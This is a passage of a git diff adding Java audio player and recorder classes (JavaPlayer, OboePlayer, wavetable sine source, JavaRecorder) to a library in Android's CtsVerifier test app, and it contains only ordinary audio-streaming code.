+    public JavaPlayer(AudioSourceProvider sourceProvider) {
+        super(sourceProvider);
+        mNumBufferFrames = -1;   // TODO need error defines
+    }
+
+    //
+    // Status
+    //
+    public boolean isPlaying() {
+        return mPlaying;
+    }
+
+    /**
+     * Allocates the array for the burst buffer.
+     */
+    private void allocBurstBuffer() {
+        // pad it by 1 frame. This allows some sources to not have to worry about
+        // handling the end-of-buffer edge case. i.e. a "Guard Point" for interpolation.
+        mAudioBuffer = new float[(mNumBufferFrames + 1) * mChannelCount];
+    }
+
+    //
+    // Attributes
+    //
+    /**
+     * @return The number of frames of audio data contained in the internal buffer.
+     */
+    @Override
+    public int getNumBufferFrames() {
+        return mNumBufferFrames;
+    }
+
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioTrack != null) {
+            AudioDeviceInfo routedDevice = mAudioTrack.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
+    /*
+     * State
+     */
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBufferFrames) {
+        if (LOG) {
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
+                    ", frames:" + numBufferFrames);
+        }
+
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mNumBufferFrames = numBufferFrames;
+
+        mAudioSource = mSourceProvider.getJavaSource();
+        mAudioSource.init(mNumBufferFrames, mChannelCount);
+
+        try {
+            int bufferSizeInBytes = mNumBufferFrames * mChannelCount
+                    * sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+            mAudioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
+                            // .setChannelMask(channelMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
+            allocBurstBuffer();
+            mAudioTrack.setPreferredDevice(mRouteDevice);
+        }  catch (UnsupportedOperationException ex) {
+            if (LOG) {
+                Log.i(TAG, "Couldn't open AudioTrack: " + ex);
+            }
+            mAudioTrack = null;
+            return ERROR_UNSUPPORTED;
+        }
+
+        return OK;
+    }
+
+    @Override
+    public int teardownStream() {
+        stopStream();
+
+        waitForStreamThreadToExit();
+
+        if (mAudioTrack != null) {
+            mAudioTrack.release();
+            mAudioTrack = null;
+        }
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        //TODO - Retrieve errors from above
+        return OK;
+    }
+
+    /**
+     * Allocates the underlying AudioTrack and begins Playback.
+     * @return True if the stream is successfully started.
+     *
+     * This method returns when the start operation is complete, but before the first
+     * call to the AudioSource.pull() method.
+     */
+    @Override
+    public int startStream() {
+        if (mAudioTrack == null) {
+            return ERROR_INVALID_STATE;
+        }
+        waitForStreamThreadToExit(); // just to be sure.
+
+        mStreamThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
+        mPlaying = true;
+        mStreamThread.start();
+
+        return OK;
+    }
+
+    /**
+     * Marks the stream for stopping on the next callback from the underlying system.
+     *
+     * Returns immediately, though a call to AudioSource.pull() may be in progress.
+     */
+    @Override
+    public int stopStream() {
+        mPlaying = false;
+        return OK;
+    }
+
+    //
+    // StreamPlayerRunnable
+    //
+    /**
+     * Implements the <code>run</code> method for the playback thread.
+     * Gets initial audio data and starts the AudioTrack. Then continuously provides audio data
+     * until the flag <code>mPlaying</code> is set to false (in the stop() method).
+     */
+    private class StreamPlayerRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBufferSamples = mNumBufferFrames * mChannelCount;
+
+            mAudioTrack.play();
+            while (mPlaying) {
+                mAudioSource.pull(mAudioBuffer, mNumBufferFrames, mChannelCount);
+
+                int numSamplesWritten = mAudioTrack.write(
+                        mAudioBuffer,0, numBufferSamples, AudioTrack.WRITE_BLOCKING);
+                if (numSamplesWritten < 0) {
+                    // error
+                    if (LOG) {
+                        Log.i(TAG, "AudioTrack write error: " + numSamplesWritten);
+                    }
+                    stopStream();
+                } else if (numSamplesWritten < numBufferSamples) {
+                    // end of stream
+                    if (LOG) {
+                        Log.i(TAG, "Stream Complete.");
+                    }
+                    stopStream();
+                }
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
new file mode 100644
index 0000000..24e4930
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class NativeAudioSource extends AudioSource {
+    private long    mNativeSourcePtr;
+
+    public NativeAudioSource(long nativeSourcePtr) {
+        mNativeSourcePtr = nativeSourcePtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSourcePtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSourcePtr, numFrames, numChans);
+    }
+
+    // These can be called from Java, but only do so if you don't mind the JNI overhead
+    @Override
+    public void reset() {
+        resetN(mNativeSourcePtr);
+    }
+
+    @Override
+    public int pull(float[] audioData, int numFrames, int numChans) {
+        return pullN(mNativeSourcePtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSourcePtr, int numFrames, int numChans);
+    private native void resetN(long nativeSourcePtr);
+    private native int pullN(long nativeSourcePtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
new file mode 100644
index 0000000..e6770b2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class OboePlayer extends Player {
+    boolean mPlaying;
+
+    private int mPlayerSubtype;
+    private long mNativePlayer;
+
+    public OboePlayer(AudioSourceProvider sourceProvider, int playerSubtype) {
+        super(sourceProvider);
+
+        mPlayerSubtype = playerSubtype;
+        mNativePlayer = allocNativePlayer(
+                mSourceProvider.getNativeSource().getNativeObject(), mPlayerSubtype);
+    }
+
+    @Override
+    public int getNumBufferFrames() {
+        return getBufferFrameCountN(mNativePlayer);
+    }
+
+    @Override
+    public int getRoutedDeviceId() {
+        return getRoutedDeviceIdN(mNativePlayer);
+    }
+
+    @Override
+    public boolean isPlaying() { return mPlaying; }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(
+                mNativePlayer, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativePlayer);
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativePlayer, mPlayerSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        mPlaying = false;
+
+        return stopN(mNativePlayer);
+    }
+
+    private native long allocNativePlayer(long nativeSource, int playerSubtype);
+
+    private native int setupStreamN(long nativePlayer, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativePlayer);
+
+    private native int startStreamN(long nativePlayer, int playerSubtype);
+    private native int stopN(long nativePlayer);
+
+    private native int getBufferFrameCountN(long mNativePlayer);
+
+    private native int getRoutedDeviceIdN(long nativePlayer);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
new file mode 100644
index 0000000..2974766
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+/**
+ * An abstract class defining the common operations and attributes for all
+ * player (concrete) sub-classes.
+ */
+public abstract class Player extends StreamBase {
+    public Player(AudioSourceProvider sourceProvider) {
+        mSourceProvider = sourceProvider;
+    }
+
+    /*
+     * Audio Source
+     */
+    protected AudioSourceProvider mSourceProvider;
+
+    //
+    // Attributes
+    //
+    // This needs to be static because it is called before creating the Recorder subclass
+    public static int calcMinBufferFrames(int channelCount, int sampleRate) {
+        int channelMask = Player.channelCountToChannelMask(channelCount);
+        int bufferSizeInBytes =
+                AudioTrack.getMinBufferSize (sampleRate,
+                        channelMask,
+                        AudioFormat.ENCODING_PCM_FLOAT);
+        return bufferSizeInBytes / sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    //
+    // Status
+    //
+    public abstract boolean isPlaying();
+
+    /*
+     * Channel utils
+     */
+    // TODO Consider moving these to a "Utility" library.
+    /**
+     * @param channelCount  The number of channels for which to generate an output position mask.
+     * @return An output channel-position mask corresponding to the supplied number of channels.
+     */
+    public static int channelCountToChannelMask(int channelCount) {
+        switch (channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+
+            case 3:
+                return AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+
+            case 4:
+                return AudioFormat.CHANNEL_OUT_QUAD;
+
+            case 5: // 5.0
+                return AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+
+            case 6: // 5.1
+                return AudioFormat.CHANNEL_OUT_5POINT1;
+
+            case 7: // 6.1
+                return AudioFormat.CHANNEL_OUT_5POINT1 | AudioFormat.CHANNEL_OUT_BACK_CENTER;
+
+            case 8:
+                return AudioFormat.CHANNEL_OUT_7POINT1;
+
+            default:
+                return AudioTrack.ERROR_BAD_VALUE;
+        }
+    }
+
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
new file mode 100644
index 0000000..ff0a31b
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioDeviceInfo;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+
+public class PlayerBuilder extends BuilderBase {
+    private AudioSourceProvider mSourceProvider;
+
+    public PlayerBuilder() {
+
+    }
+
+    public PlayerBuilder setPlayerType(int playerType) {
+        mType = playerType;
+        return this;
+    }
+
+    public PlayerBuilder setSourceProvider(AudioSourceProvider sourceProvider) {
+        mSourceProvider = sourceProvider;
+        return this;
+    }
+
+    public Player build() throws BadStateException {
+        if (mSourceProvider == null) {
+            throw new BadStateException();
+        }
+
+        Player player = null;
+        int playerType = mType & TYPE_MASK;
+        switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
+            case TYPE_JAVA:
+                player = new JavaPlayer(mSourceProvider);
+                break;
+
+            case TYPE_OBOE:{
+                int playerSubType = mType & SUB_TYPE_MASK;
+                player = new OboePlayer(mSourceProvider, playerSubType);
+            }
+            break;
+
+            default:
+                throw new BadStateException();
+        }
+
+        return player;
+    }
+
+    public class BadStateException extends Throwable {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java
new file mode 100644
index 0000000..f8d803d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+public class SinAudioSource extends WaveTableSource {
+
+    /**
+     * The number of SAMPLES in the Sin Wave table.
+     * This is plenty of samples for a clear sine wave.
+     * the + 1 is to avoid special handling of the interpolation on the last sample.
+     */
+    static final int WAVETABLE_LENGTH = 2049;
+
+    public SinAudioSource() {
+        super();
+        float[] waveTbl = new float[WAVETABLE_LENGTH];
+        WaveTableSource.genSinWave(waveTbl);
+
+        super.setWaveTable(waveTbl);
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
new file mode 100644
index 0000000..6123f98
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.NativeAudioSource;
+
+public class SinAudioSourceProvider implements AudioSourceProvider {
+    @Override
+    public AudioSource getJavaSource() {
+        return new SinAudioSource();
+    }
+
+    @Override
+    public NativeAudioSource getNativeSource() {
+        return new NativeAudioSource(allocNativeSource());
+    }
+
+    private native long allocNativeSource();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
new file mode 100644
index 0000000..72695db
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+
+/**
+ * An AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
+ * We do simple, linear interpolation for inter-table values.
+ */
+public class WaveTableSource extends AudioSource {
+    @SuppressWarnings("unused") private static String TAG = WaveTableSource.class.getSimpleName();
+
+    /** The samples defining one cycle of the waveform to play */
+    protected float[] mWaveTbl;
+    /** The number of samples in the wave table. Note that the wave table is presumed to contain
+     * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+     * calculation. Thus, this value will be 1 less than the length of mWaveTbl.
+     */
+    protected int mNumWaveTblSamples;
+    /** The phase (offset within the wave table) of the next output sample.
+     *  Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTblSamples.
+     */
+    protected float mSrcPhase;
+    /** The sample rate at which playback occurs */
+    protected float mSampleRate = 48000;  // This seems likely, but can be changed
+    /** The frequency of the generated audio signal */
+    protected float mFreq = 1000;         // Some reasonable default frequency
+    /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+     * each sample in the wave table was sent in turn to the output at the specified sample rate.
+     */
+    protected float mFN;
+    /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+    protected float mFNInverse;
+
+    /**
+     * Constructor.
+     */
+    public WaveTableSource() {
+    }
+
+    /**
+     * Calculates the "Nominal" frequency of the wave table.
+     */
+    private void calcFN() {
+        mFN = mSampleRate / (float)mNumWaveTblSamples;
+        mFNInverse = 1.0f / mFN;
+    }
+
+    /**
+     * Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     *                This wave table contains a redundant sample in the last slot (== first slot)
+     *                to make the interpolation calculation simpler, so the logical length of
+     *                the wave table is one less than the length of the array.
+     */
+    public void setWaveTable(float[] waveTbl) {
+        mWaveTbl = waveTbl;
+        mNumWaveTblSamples = waveTbl != null ? mWaveTbl.length - 1 : 0;
+
+        calcFN();
+    }
+
+    /**
+     * Sets the playback sample rate for which samples will be generated.
+     * @param sampleRate
+     */
+    public void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    /**
+     * Set the frequency of the output signal.
+     * @param freq  Signal frequency in Hz.
+     */
+    public void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    /**
+     * Resets the playback position to the 1st sample.
+     */
+    @Override
+    public void reset() {
+        mSrcPhase = 0.0f;
+    }
+
+    /**
+     * Fills the specified buffer with values generated from the wave table which will playback
+     * at the specified frequency.
+     *
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return  The number of samples generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    @Override
+    public int pull(float[] buffer, int numFrames, int numChans) {
+        final float phaseIncr = mFreq * mFNInverse;
+        int outIndex = 0;
+        for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+            // 'mod' back into the waveTable
+            while (mSrcPhase >= (float)mNumWaveTblSamples) {
+                mSrcPhase -= (float)mNumWaveTblSamples;
+            }
+
+            // linear-interpolate
+            int srcIndex = (int)mSrcPhase;
+            float delta0 = mSrcPhase - (float)srcIndex;
+            float delta1 = 1.0f - delta0;
+            float value = ((mWaveTbl[srcIndex] * delta0) + (mWaveTbl[srcIndex + 1] * delta1));
+
+            // Put the same value in all channels.
+            for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+                buffer[outIndex++] = value;
+            }
+
+            mSrcPhase += phaseIncr;
+        }
+
+        return numFrames;
+    }
+
+    /*
+     * Standard wavetable generators
+     */
+    static public void genSinWave(float[] buffer) {
+        int size = buffer.length;
+        float incr = ((float)Math.PI  * 2.0f) / (float)(size - 1);
+        for(int index = 0; index < size; index++) {
+            buffer[index] = (float)Math.sin(index * incr);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
new file mode 100644
index 0000000..83e1a3f
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public abstract class AudioSink {
+    /**
+     * Called before the stream starts to allow initialization of the sink
+     * @param numFrames The number of frames that will be requested in each process() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
+    public void start() {}
+    public void stop(int lastBufferFrames) {}
+
+    /**
+     * Process incoming audio data.
+     * @param audioData The buffer of audio data.
+     * @param numFrames The number of frames of audio to process.
+     * @param numChans The number of channels (in the buffer).
+     * Note that the recorder will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    abstract public void push(final float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
new file mode 100644
index 0000000..f21a872
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public interface AudioSinkProvider {
+    /**
+     * @return return a Java AudioSink subclass object corresponding to the AudioSourceProvider
+     * implementation.
+     */
+    AudioSink allocJavaSink();
+
+    /**
+     * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation (stored in a long).
+     */
+    NativeAudioSink allocNativeSink();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
new file mode 100644
index 0000000..387f7da
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.os.Looper;
+import android.os.Message;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.recorder.sinks.NopAudioSinkProvider;
+
+/**
+ * Implementation of abstract Recorder class implemented for the Android Java-based audio record
+ * API, i.e. AudioRecord.
+ */
+public class JavaRecorder extends Recorder {
+    @SuppressWarnings("unused") private static final String TAG = JavaRecorder.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = true;
+
+    /** The buffer to receive the recorder samples */
+    private float[] mRecorderBuffer;
+
+    /** The number of FRAMES of audio data in the record buffer */
+    private int mNumBuffFrames;
+
+    // Recording state
+    /** <code>true</code> if currently recording audio data */
+    private boolean mRecording = false;
+
+    /* The AudioRecord for recording the audio stream */
+    private AudioRecord mAudioRecord = null;
+
+    private AudioSink mAudioSink;
+
+    private int mInputPreset = INPUT_PRESET_NONE;
+
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioRecord != null) {
+            AudioDeviceInfo routedDevice = mAudioRecord.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
+    /**
+      * The listener to receive notifications of recording events
+      * @see {@link JavaSinkHandler}
+      */
+    private JavaSinkHandler mListener = null;
+
+    public JavaRecorder(AudioSinkProvider sinkProvider) {
+        super(sinkProvider);
+    }
+
+    //
+    // Attributes
+    //
+    /** The buff to receive the recorder samples */
+    public float[] getFloatBuffer() { return mRecorderBuffer; }
+
+    // JavaRecorder-specific extension
+    public AudioRecord getAudioRecord() { return mAudioRecord; }
+
+    @Override
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
+    /*
+     * State
+     */
+    @Override
+    public boolean isRecording() {
+        return mRecording;
+    }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        if (LOG) {
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
+                    ", frames:" + numBurstFrames);
+        }
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+
+        try {
+            int frameSize = calcFrameSizeInBytes(mChannelCount);
+
+            AudioRecord.Builder builder = new AudioRecord.Builder();
+
+            builder.setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
+                            .build());
+                    // .setBufferSizeInBytes(numBurstFrames * frameSize)
+            if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                builder.setAudioSource(mInputPreset);
+            }
+            mAudioRecord = builder.build();
+            mAudioRecord.setPreferredDevice(mRouteDevice);
+
+            mNumBuffFrames = mAudioRecord.getBufferSizeInFrames();
+
+            mRecorderBuffer = new float[mNumBuffFrames * mChannelCount];
+
+            if (mSinkProvider == null) {
+                mSinkProvider = new NopAudioSinkProvider();
+            }
+            mAudioSink = mSinkProvider.allocJavaSink();
+            mAudioSink.init(mNumBuffFrames, mChannelCount);
+            mListener = new JavaSinkHandler(this, mAudioSink, Looper.getMainLooper());
+            return OK;
+        } catch (UnsupportedOperationException ex) {
+            if (LOG) {
+                Log.i(TAG, "Couldn't open AudioRecord: " + ex);
+            }
+            mAudioRecord = null;
+            mNumBuffFrames = 0;
+            mRecorderBuffer = null;
+
+            return ERROR_UNSUPPORTED;
+        }
+    }
+
+    @Override
+    public int teardownStream() {
+        stopStream();
+
+        waitForStreamThreadToExit();
+
+        if (mAudioRecord != null) {
+            mAudioRecord.release();
+            mAudioRecord = null;
+        }
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        //TODO Retrieve errors from above
+        return OK;
+    }
+
+    @Override
+    public int startStream() {
+        if (LOG) {
+            Log.i(TAG, "startStream() mAudioRecord:" + mAudioRecord);
+        }
+        if (mAudioRecord == null) {
+            return ERROR_INVALID_STATE;
+        }
+//        // Routing
+//        mAudioRecord.setPreferredDevice(mRoutingDevice);
+
+        if (mListener != null) {
+            mListener.sendEmptyMessage(JavaSinkHandler.MSG_START);
+        }
+
+//        if (mAudioSink != null) {
+//            mAudioSink.init(mNumBuffFrames, mChannelCount);
+//        }
+        try {
+            mAudioRecord.startRecording();
+        } catch (IllegalStateException ex) {
+            Log.e(TAG, "startRecording exception: " + ex);
+        }
+
+        waitForStreamThreadToExit(); // just to be sure.
+
+        mStreamThread = new Thread(new RecorderRunnable(), "JavaRecorder Thread");
+        mRecording = true;
+        mStreamThread.start();
+
+        return OK;
+    }
+
+    /**
+     * Marks the stream for stopping on the next callback from the underlying system.
+     *
+     * Returns immediately, though a call to AudioSource.push() may be in progress.
+     */
+    @Override
+    public int stopStream() {
+        mRecording = false;
+        return OK;
+    }
+
+    // @Override
+    // Used in JavaSinkHandler
+    public float[] getDataBuffer() {
+        return mRecorderBuffer;
+        // System.arraycopy(mRecorderBuffer, 0, buffer, 0, mNumBuffFrames * mChannelCount);
